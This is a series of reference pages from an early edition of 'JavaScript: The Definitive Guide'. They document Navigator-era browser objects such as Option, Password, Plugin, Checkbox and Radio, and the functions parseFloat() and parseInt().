new Option([text, [value, [defaultSelected, [selected]]]])

Arguments

text

An optional string argument that specifies the text property of the Option object.

value

An optional string argument that specifies the value property of the Option object.

defaultSelected

An optional Boolean argument that specifies the defaultSelected property of the Option object.

selected

An optional Boolean argument that specifies the selected property of the Option object.

Returns

The newly created Option object.

HTML Syntax

An Option object is created by an <OPTION> tag within a <SELECT> which is itself within a <FORM>. Multiple <OPTION> tags typically appear within the <SELECT>.

<FORM ...>
  <SELECT  ...>
    <OPTION
        [ VALUE="value" ] the value returned when the form is submitted
        [ SELECTED ] >   specifies whether this option is initially selected
    plain_text_label  the text to display for this option
        ...
  </SELECT>
        ...
</FORM>

Description

The Option object describes a single option displayed within a Select object. The properties of this object specify whether it is selected by default, whether is is currently selected, what position it has in the options[] array of its containing Select object, what text it displays, and what value it passes to the server if it is selected when the containing form is submitted.

Note that although the text displayed by this option is specified outside of the <OPTION> tag, that text must be plain, unformatted text, without any HTML tags. This is so that the text can be properly displayed in list boxes and drop-down menus that do not support HTML formatting.

You can dynamically create new Option objects for display in a Select object with the Option() constructor. Once a new Option object is created, it can be appended to the list of options in a Select object by assigning it to the variable options[options.length]. See Select.options[] for details.

See Also

"Select", "Select.options[]"

Previous | Home | Next
opener | Book Index | Option.defaultSelected
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Option.defaultSelected

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Option.defaultSelected Property

Name

Option.defaultSelected Property---specifies whether an object is selected by default

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

option.defaultSelected

Description

The defaultSelected property is a read-only Boolean that specifies whether the Option option is initially selected when the Select object that contains it is created. The Reset object uses this property to reset a Select object to its initial state, and you can use it to achieve the same effect in your code.

See Also

"Option", "Select"

Previous | Home | Next
Option | Book Index | Option.index
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Option.index

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Option.index Property

Name

Option.index Property---the position of the option

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

option.index

Description

The index property specifies the position or index of the Option object option within the options[] array of the Select object that contains it. The first Option object in the array is at index 0, and has its index property set to 0. The second Option has an index of 1, and so on.

See Also

"Option", "Select"

Previous | Home | Next
Option.defaultSelected | Book Index | Option.selected
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Option.selected

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Option.selected Property

Name

Option.selected Property---whether the option is selected

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

option.selected

Description

The selected property is a read/write Boolean value that specifies whether a Option object within a Select object is currently selected. You can use this property to test whether a given option is selected. You can also use it to select (by setting it to true) or deselect (by setting it to false) a given option. Note that when you select or deselect an option in this way the Select.onchange() event handler is not invoked.

Usage

To determine the selected options in a Select object, you can loop through the Select.options[] array testing the selected property of each item. When multiple selections are not allowed (i.e., when the MULTIPLE attribute does not appear in the <SELECT> tag), however, it is much easier to simply check use the selectedIndex property of the Select object.

See Also

"Option", "Select", "Select.selectedIndex"

Previous | Home | Next
Option.index | Book Index | Option.text
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Option.text

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Option.text Property

Name

Option.text Property---the label for an option

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

option.text

Description

The text property is a string that specifies the text that appears to the user for the Option object option. The initial value of this property is whatever plain (without HTML tags) text appears after the </OPTION> tag and before the next <OPTION> tag or before the closing </SELECT> tag.

In Navigator 2.0, the text property is read-only. In Navigator 3.0, it is read/write. By setting a new value for this property, you can change the text that appears for the option within its Select object. Note that if you plan to use this technique, you should ensure that changing the option label does not make the Select object wider, or if the object must become wider, that there is no information to the right of the Select object that will become obscured when it grows.

See Also

"Option", "Select"

Previous | Home | Next
Option.selected | Book Index | Option.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Option.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Option.value Property

Name

Option.value Property---value returned when form is submitted

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

option.value

Description

value is a read/write string property of the Option object. It specifies the text that is passed to the web server if the option is selected when the form is submitted. The initial value of value is specified by the VALUE attribute of the <OPTION> tag. If the form will be submitted to a server (as opposed to simply used by JavaScript on the client side) then each Option object within a Select object should have a distinct value.

See Also

"Option", "Select"

Previous | Home | Next
Option.text | Book Index | Packages
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Packages

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Packages Object

Name

Packages Object---packages of Java classes

Availability

Navigator 3.0

Synopsis

Packages

Properties

java

A reference to a JavaPackage object that represents the top node of the java.* package hierarchy.

netscape

A reference to a JavaPackage object that represents the top node of the netscape.* package hierarchy.

sun

A reference to a JavaPackage object that represents the top node of the sun.* package hierarchy.

Description

The Packages property is a "global" variable in JavaScript. It is a read-only reference to a JavaPackage object, and is defined as a property of all Window objects. Because the Packages property is the same for all Window objects, you can always refer to it simply as Packages, rather than explicitly accessing it through a particular Window object.

A JavaPackage object in JavaScript is an object that contains references to other JavaPackage objects and to JavaClass objects. Each JavaPackage object represents a node in the tree of package names. The Packages property refers to a JavaPackage object that is the root of this package name hierarchy.

The Packages JavaPackage object contains three properties--java, sun, and netscape--all of which refer to other JavaPackage objects representing the java.*, sun.*, and netscape.* Java packages.

Usage

The Window object also contains "global" properties named java, netscape, and sun, all of which are synonyms for the properties of the Packages object. So instead of writing Packages.java.lang.Math, for example, you can just write java.lang.Math.

See Also

"JavaClass", "JavaObject", "JavaPackage"

Previous | Home | Next
Option.value | Book Index | Packages.java
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.type Property

Name

Button.type Property---see "Element.type"

Previous | Home | Next
Button.onfocus() | Book Index | Button.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Packages.java

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Packages.java Property

Name

Packages.java Property---root of the core Java language packages

Availability

Navigator 3.0

Synopsis

Packages.java

Description

The java property of the Packages object is a JavaPackage that contains each of the packages that comprise the core Java class library. These are packages such as java.lang, java.io, and java.applet.

Usage

You can use the "global" java property anywhere you would use Packages.java.

See Also

"JavaPackage", "Packages" JavaPackage, Packages

Previous | Home | Next
Packages | Book Index | Packages.netscape
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Packages.netscape

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Packages.netscape Property

Name

Packages.netscape Property---root of the Java packages from Netscape

Availability

Navigator 3.0

Synopsis

Packages.netscape

Description

The netscape property of the Packages object is a JavaPackage that contains each of the packages that comprise the netscape.* class library from Netscape. The packages in this class library include netscape.javascript, for example.

Usage

You can use the "global" netscape property anywhere you would use Packages.netscape.

See Also

"JavaPackage" "Packages"

Previous | Home | Next
Packages.java | Book Index | Packages.sun
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Packages.sun

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Packages.sun Property

Name

Packages.sun Property---root of the Java packages from Sun Microsystems

Availability

Navigator 3.0

Synopsis

Packages.sun

Description

The sun property of the Packages object is a JavaPackage that contains each of the packages that comprise the sun.* class library from Sun Microsystems. These packages are shipped with Sun's Java implementation, but are not an official part of the Java language, and so using these packages may make your programs less portable.

Usage

You can use the "global" sun property anywhere you would use Packages.sun.

See Also

"JavaPackage", "Packages"

Previous | Home | Next
Packages.netscape | Book Index | parent
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: parent

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

parent Property

Name

parent Property---see "Window.parent"

Previous | Home | Next
Packages.sun | Book Index | parseFloat()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: parseFloat()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

parseFloat() Function

Name

parseFloat() Function---convert a string to a number

Availability

Navigator 3.0, partial support in Navigator 2.0 and Internet Explorer 3.0

Synopsis

parseFloat(s)

Arguments

s

The string to be parsed and converted to a number.

Returns

The parsed number, or NaN, if s does not begin with a valid number. Because Navigator 2.0 and Internet Explorer 3.0 do not support NaN, those browsers return 0 when s cannot be parsed.

Description

parseFloat() is a built-in function in JavaScript; it is a core part of the language, and is not a method of any object.

parseFloat() parses and returns the first number that occurs in s. Parsing stops, and the value returned, when parseFloat() encounters a character in s that is not a valid part of the number (i.e., a sign, a digit, decimal point, exponent, etc.) If s does not begin with a number that parseFloat() can parse, then the function returns NaN, a reserved value that represents "not-a-number". You can test for the NaN value with the isNaN() function. If NaN is used with arithmetic operations, the result will always be NaN. In Navigator 2.0 (except Unix platforms) and Internet Explorer 3.0, parseFloat() returns 0 instead of NaN when the input cannot be parsed.

Bugs

In Navigator 2.0 (except Unix platforms) and Internet Explorer 3.0, the NaN return value is not implemented, and so parseFloat() returns 0 when it cannot parse a number. When you receive this return value on those platforms, you must perform additional tests to determine whether the string contains illegal input or actually contains the value 0.

See Also

"isNaN()", "parseInt()"

Previous | Home | Next
parent | Book Index | parseInt()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: parseInt()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

parseInt() Function

Name

parseInt() Function---convert a string to an integer

Availability

Navigator 3.0; partial support in Navigator 2.0 and Internet Explorer 3.0

Synopsis

parseInt(s)
parseInt(s, radix)

Arguments

s

The string to be parsed.

radix

An optional integer argument that represents the radix (i.e., base) of the number to be parsed.

Returns

The parsed number, or NaN, if s does not begin with a valid integer. Because Navigator 2.0 and Internet Explorer 3.0 do not support NaN, those browsers returns 0 when s cannot be parsed.

Description

parseInt() is a built-in function in JavaScript; it is a core part of the language, and is not a method of any object.

parseInt() parses and returns the first number that occurs in s. Parsing stops, and the value is returned, when parseInt() encounters a character in s that is not a valid numeral for the specified radix. If s does not begin with a number that parseInt() can parse, then the function returns NaN, a reserved value that represents "not-a-number." You can test for the NaN value with the isNaN() function. If NaN is used with arithmetic operations, the result will always be NaN.

In Navigator 2.0 (except on Unix platforms) and in Internet Explorer 3.0, NaN is not implemented, and parseInt() returns 0 instead of NaN. For these browsers parseInt() that does not distinguish between a malformed string value and a legal value 0.

radix specifies the base of the number to be parsed. Specifying 10 makes the parseInt() parse a decimal number. The value 8 specifies that an octal number (using digits 0 through 7) is to be parsed. The value 16 specifies a hexadecimal value, using digits 0 through 9 and letters A through F. radix can be any value between 2 and 36.

If radix is 0, or if it is not specified, parseInt() tries to determine the radix of the number from s. If s begins with 0x, then parseInt() parses the remainder of s as a hexadecimal number. If s begins with a 0, then parseInt() parses the number in octal. Otherwise, if s begins with a digit 1 through 9, then parseInt() parses it as a decimal number.

Bugs

In Navigator 2.0 (except Unix platforms) and Internet Explorer 3.0, the NaN return value is not implemented, and so parseInt() returns 0 when it cannot parse a number. When you receive this return value on those platforms, you must perform additional tests to determine whether the string contains illegal input or actually contains the value 0.

See Also

"isNaN()", "parseFloat()"

Previous | Home | Next
parseFloat() | Book Index | Password
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password Element

Name

Password Element---input field for sensitive data

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

form.name
form.elements[i]

Properties

defaultValue

A read-only string that specifies the initial value to appear in the password input field. This property is specified by the VALUE attribute of the HTML tag that created the Password element.

form

A read-only reference to the Form object that contains the Password element.

name

A read-only string, set by the HTML NAME attribute, that specifies the name of the Password element. This is also the name that can be used to reference the Password element as a property of its form.

type

A read-only string that specifies the type of this form element. For Password elements, it has the value "password". Available in Navigator 3.0 and later.

value

In Navigator 3.0, with the data-tainting security model enabled, this property is a read-only string that specifies the password value entered by the user. In Navigator 2.0, and in 3.0 without data tainting enabled, this property exists, but always contains the empty string.

Methods

blur()

Remove the keyboard focus from the Password element.

focus()

Set the keyboard focus to the Password element. When focus is set, all keystrokes are automatically entered into this element.

select()

Highlight all the text in the Password element, and enter a special mode so that future input replaces the highlighted text.

Event Handlers

onblur()

Invoked when a user action causes the Password element to lose the keyboard focus.

onchange()

Invoked when the user changes the value in the Password element and moves the keyboard focus elsewhere. This event handler is not invoked for every keystroke in the Password element, but only when the user completes an edit.

onfocus()

Invoked when a user action causes the Password element to gain the keyboard focus.

HTML Syntax

A Password element is created with a standard HTML <INPUT> tag:

<FORM>
    ...
  <INPUT
    TYPE="password" specifies that this is a Password element
    [ NAME="name" ]   a name that can later be used to refer to this element
    specifies the name property
    [ VALUE="default" ]   the default value transmitted when the form is submitted
    [ SIZE=integer ]  how many characters wide the element is
  >
    ...
</FORM>

Description

The Password element is a text input field intended for input of sensitive data, such as passwords. As the user types characters, only asterisks appear, so that the input value cannot be read by a bystander looking over the user's shoulder.

As an additional security precaution, JavaScript cannot read the value typed by the user either. The value property is a read-only string that initially contains the value specified by the VALUE attribute. The user's input is transmitted to the server when the form is submitted, but that input does not appear in this property. Setting this property has no effect on the value transmitted. The VALUE attribute specifies the data to be transmitted if the user does not type anything, and this default value is the only thing to which JavaScript has access.

See Also

"Element", "Form", "Text"

Previous | Home | Next
parseInt() | Book Index | Password.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.blur() Method

Name

Password.blur() Method--- see "Element.blur()"

Previous | Home | Next
Password | Book Index | Password.defaultValue
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.defaultValue

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.defaultValue Property

Name

Password.defaultValue Property--- see "Element.defaultValue"

Previous | Home | Next
Password.blur() | Book Index | Password.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.focus() Method

Name

Password.focus() Method--- see "Element.focus()"

Previous | Home | Next
Password.defaultValue | Book Index | Password.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.value Property

Name

Button.value Property---the text that appears in a Button

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

button.value

Description

value is a read-only string property of the Button object. It contains the text that appears in the button. The value of this property is specified by the VALUE attribute of the HTML <INPUT> tag that creates the button.

See Also

"Button"

Previous | Home | Next
Button.type | Book Index | Checkbox
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.form Property

Name

Password.form Property--- see "Element.form"

Previous | Home | Next
Password.focus() | Book Index | Password.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.name Property

Name

Password.name Property--- see "Element.name"

Previous | Home | Next
Password.form | Book Index | Password.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.onblur() Handler

Name

Password.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
Password.name | Book Index | Password.onchange()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.onchange()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.onchange() Handler

Name

Password.onchange() Handler---invoked when input value changes

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<INPUT TYPE=file
       onChange="handler-statements"...>   a definition of the handler
Password.onchange a reference to the handler
Password.onchange();  an explicit invocation of the handler

Description

The Password.onchange() event handler is defined by the onChange attribute of the <INPUT> HTML tag that defines the Password object. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed whenever the user changes the value in the password input field and then "commits" those changes by moving keyboard focus elsewhere (i.e., by clicking the mouse elsewhere or by typing the Tab or Return keys). This handler is intended to process a complete change to the input value, and therefore is not invoked on a keystroke-by-keystroke basis.

For security reasons, the value field of the Password element is not readable except in Navigator 3.0 with the data-tainting security model enabled. Since the value can't be read, it doesn't do much good to be notified when that value has changed.

See Also

"Element.onchange()", "Password".

Previous | Home | Next
Password.onblur() | Book Index | Password.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.onfocus() Handler

Name

Password.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
Password.onchange() | Book Index | Password.select()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.select()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.select() Method

Name

Password.select() Method--- see "Element.select()"

Previous | Home | Next
Password.onfocus() | Book Index | Password.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.type Property

Name

Password.type Property---see "Element.type"

Previous | Home | Next
Password.select() | Book Index | Password.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Password.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Password.value Property

Name

Password.value Property---user input to the Password object

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0 when data tainting is enabled

Synopsis

password.value

Description

The value property of the Password object is a string that specifies the password entered by the user, and is the value sent over the Net when the form is submitted.

For security reasons this property may not be read or written in Navigator 2.0, or in Navigator 3.0 when the data tainting security model is not enabled. In Navigator 3.0 and later versions, when data tainting is enabled, this property may be read, but may not be set.

See Also

"Password"

Previous | Home | Next
Password.type | Book Index | Plugin
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Plugin

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Plugin Object

Name

Plugin Object---describes an installed plug-in

Availability

Navigator 3.0

Synopsis

navigator.plugins[i]
navigator.plugins['name']

Properties

description

A read-only string that contains a human-readable description of the plug-in, specified by the plug-in itself. This property may specify a full product name, information about the vendor and version, and so on.

filename

A read-only string that specifies the name of the disk file that contains the plug-in code.

length

The number of MIME types supported by the plug-in. MimeType objects describing these types are array elements of the Plugin object.

name

A read-only string that specifies the name of the plug-in. This is generally a much shorter string than description. The value of this property may be used as an index into the navigator.plugins[] array.

Elements

The array elements of the Plugin object are MimeType objects that specify the data formats supported by the plug-in.

Description

A plug-in is a software module that can be invoked by Navigator to display specialized types of embedded data within the browser window. In Navigator 3.0, plug-ins are represented by the Plugin object. This object is somewhat unusual in that it has both regular object properties and array elements. The properties of the Plugin object provide various pieces of information about the plug-in, and the array elements of it are MimeType objects that specify the embedded data formats that the plug-in supports.

Plugin objects are obtained from the plugins[] array of the Navigator object. navigator.plugins[] may be indexed numerically when you want to loop through the complete list of installed plug-ins, looking for one that meets your needs (for example, one that supports the MIME type of the data you want to embed in your web page). This array can also be indexed by plug-in name, however. That is, if you want to check whether a specific plug-in is installed in the user's browser, you might use code like this:

document.write( navigator.plugins("Shockwave") ?
                "<EMBED SRC="movie.dir' HEIGHT=100 WIDTH=100>" :
                "You don't have the Shockwave plug-in!" );
The name used as an array index with this technique is the same name that appears as the value of the name property of the Plugin.

Don't confuse the fact that Plugin objects are stored in an array of the Navigator object with the fact that each Plugin object is itself an array of MimeType objects. Because there are two arrays involved, you may end up with code that looks like these lines:

navigator.plugins[i][j] the jth MIME type of the ith plug-in
navigator.plugins["LiveAudio"][0]   the 1st MIME type of the LiveAudio plug-in

Finally, note that while the array elements of a Plugin object specify the MIME types supported by that plug-in, you can also determine which plug-in supports a given MIME type with the enabledPlugin property of the MimeType object.

See Also

"Navigator", "MimeType", "MimeType.enabledPlugin"

Previous | Home | Next
Password.value | Book Index | Plugin.description
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Plugin.description

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Plugin.description Property

Name

Plugin.description Property---English description of a plug-in

Availability

Navigator 3.0

Synopsis

plugin.description

Description

The description property of a Plugin object is a read-only string that contains a human-readable English description of the specified plug-in. The text of this description is provided by the creators of the plug-in, and may contain vendor and version information, as well as a brief description of the function of the plug-in.

See Also

"MimeType", "Navigator", "Plugin"

Previous | Home | Next
Plugin | Book Index | Plugin.filename
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox Element

Name

Checkbox Element---a graphical checkbox

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

A single Checkbox element with a unique name may be referenced in any of these ways:

form.checkbox_name
form.elements[i]

When a form contains a group of checkboxes with the same name, they are placed in an array, and may be referenced as follows:

form.checkbox_name[j]
form.checkbox_name.length
form.elements['name'][j]
form.elements['name'].length

Properties

checked

A read/write Boolean value that specifies whether the button is checked or not.

defaultChecked

A read-only Boolean that specifies the initial state of the checkbox. May be specified with the HTML CHECKED attribute.

form

A read-only reference to the Form object that contains the Checkbox.

name

A read-only String, set by the HTML NAME attribute, that specifies the name of the Checkbox.

type

A read-only string that specifies the type of this form element. For Checkbox elements, it has the value "checkbox". Available in Navigator 3.0 and later.

value

A read/write String, initially set by the HTML VALUE attribute, which specifies the value returned by the Checkbox if it is selected when the form is submitted.

Methods

blur()

Remove keyboard focus from the checkbox.

click()

Simulate a click on the checkbox.

focus()

Give keyboard focus to the checkbox.

Event Handlers

onblur()

Invoked when the checkbox loses keyboard focus.

onclick()

Invoked when the checkbox is clicked.

onfocus()

Invoked when the checkbox is given keyboard focus.

HTML Syntax

A Checkbox element is created with a standard HTML <INPUT> tag, with the addition of the new onClick attribute. Multiple Checkbox elements are often created in groups by specifying multiple <INPUT> tags which have the same NAME attribute.

<FORM>
    ...
  <INPUT
    TYPE="checkbox" specifies that this is a checkbox
    [ NAME="name" ]   a name that can later be used to refer to this checkbox
    or to the group of checkboxes with this name
    specifies the name property
    [ VALUE="value" ] the value returned when this checkbox is selected
    specifies the value property
    [ CHECKED ] specifies that the checkbox is initially checked
    specifies the defaultChecked property
    [ onClick="handler" ] JavaScript statements to be executed
  >  when the checkbox is clicked
label the HTML text that should appear next to the checkbox
    ...
</FORM>

Description

The Checkbox element represents a single graphical checkbox in a HTML form. Note that the text that appears next to the checkbox is not part of the Checkbox element itself, and must be specified externally to the Checkbox's HTML <INPUT> tag.

The onClick event handler allows you to specify JavaScript code to be executed when the Checkbox is checked or unchecked.

You can examine the checked property to determine the state of the Checkbox, and you can also set this property to check or "uncheck" the Checkbox. Note that setting checked changes the graphical appearance of the Checkbox, but does not invoke the onClick event handler.

It is good programming style to specify the NAME attribute for a Checkbox, and is mandatory if the checkbox is part of a form that will submit data to a CGI script running on a web server. Specifying a NAME attribute sets the name property, and also allows you to refer to the Checkbox by name (instead of as a member of the form elements array) in your JavaScript code, which makes the code more modular and portable.

For example, if the NAME attribute of a checkbox in form f is "opts", then f.opts refers to the Checkbox element. Checkbox elements are often used in related groups, however, and each member of the group is given the same NAME attribute (the shared name defines the members of the group). In this case, JavaScript places each Checkbox element in the group in an array, and the array is given the shared name. If, for example, each of a group of Checkboxes in form f has its NAME attribute set to "opts", then f.opts is an array of Checkbox elements, and f.opts.length is the number of elements in the array.

Unfortunately, in Navigator 2.0, there is a bug in how Checkbox elements in a group are assigned to an array. See the Bugs section later for details.

You can set the VALUE attribute or the value property of a Checkbox to specify the string that will be passed to the server if the Checkbox is checked when the form is submitted. For a single checkbox, used alone, the default value of "on" is usually adequate. When multiple checkboxes with the same name are used, each should specify a distinct value so that a list of values from selected checkboxes can be passed to the server.

Usage

Checkbox elements can be used to present the user with one or more options. This element type is suitable for presenting non-mutually exclusive choices. Use the Radio element for mutually exclusive lists of options.

Bugs

As described above, when a group of Checkbox elements share the same NAME attribute, JavaScript assigns them to an array that bears that name. Unfortunately, there is a bug in this process in Navigator 2.0: if the Checkbox elements do not have event handlers specified with the onClick attribute, then they are assigned to the array in reverse order. This is counter-intuitive, and is an incompatibility with Navigator 3.0 in which the bug is fixed.

The workaround is to always assign an event handler, if only a dummy one, to your Checkbox elements that will be manipulated with JavaScript. You can do this by including onClick="0" in the <INPUT> tag for each Checkbox element you define. With this workaround, you can ensure that the elements will be assigned to the array in the same order in Navigator 2.0 and Navigator 3.0.

See Also

"Element", "Form", "Radio"

Previous | Home | Next
Button.value | Book Index | Checkbox.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Plugin.filename

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Plugin.filename Property

Name

Plugin.filename Property---the filename of the plug-in program

Availability

Navigator 3.0

Synopsis

plugin.filename

Description

The filename property of the Plugin object is a read-only string that specifies the name of the file on disk that contains the plug-in program itself. This name may vary from platform to platform. The name property is usually more useful than filename for identifying a plug-in.

See Also

"MimeType", "Navigator", "Plugin", "Plugin.name"

Previous | Home | Next
Plugin.description | Book Index | Plugin.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Plugin.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Plugin.name Property

Name

Plugin.name Property---the name of a plug-in

Availability

Navigator 3.0

Synopsis

plugin.name

Description

The name property of a Plugin object is a read-only string that specifies the name of the plug-in. Each plug-in should have a name that uniquely identifies it.

The value of the name property can also be used as an index into the navigator.plugins[] array. You can use this fact to easily determine whether a particular named plug-in is installed in the current browser:

var sw_installed = (navigator.plugins["Shockwave"] != null);

Note that some plug-ins may support a configurable list of MIME types. Once you have determined that a desired plug-in is installed, you may also need to consult the Plugin.mimeTypes[] array to be sure that the plug-in can display the type of data you want it to.

See Also

"MimeType", "Navigator", "Plugin", "MimeType.enabledPlugin"

Previous | Home | Next
Plugin.filename | Book Index | prompt()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: prompt()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

prompt() Method

Name

prompt() Method---see "Window.prompt()"

Previous | Home | Next
Plugin.name | Book Index | Radio
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio Element

Name

Radio Element---a graphical radio button

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

The Radio button element is always used in groups of mutually exclusive options that have the same name. To reference one Radio element within a group, use this syntax:

form.radio_name[j]
form.radio_name.length
form.elements[i][j]
form.elements[i].length

Properties

checked

A read/write Boolean value that specifies whether the button is checked or not.

defaultChecked

A read-only Boolean that specifies the initial state of the radio button. May be specified with the HTML CHECKED attribute.

form

A read-only reference to the Form object that contains the Radio element.

name

A read-only string, set by the HTML NAME attribute, that specifies the name of the Radio button.

type

A read-only string that specifies the type of this form element. For Radio elements, it has the value "radio". Available in Navigator 3.0 and later.

value

A read/write string, initially set by the HTML VALUE attribute, that specifies the value returned by the Radio button if it is selected when the form is submitted.

Methods

blur()

Removes keyboard focus from the radio button.

click()

Simulates a click on the radio button.

focus()

Gives keyboard focus to the radio button.

Event Handlers

onblur()

Invoked when the radio button loses keyboard focus.

onclick()

Invoked when the radio button is clicked.

onfocus()

Invoked when the radio button is given keyboard focus.

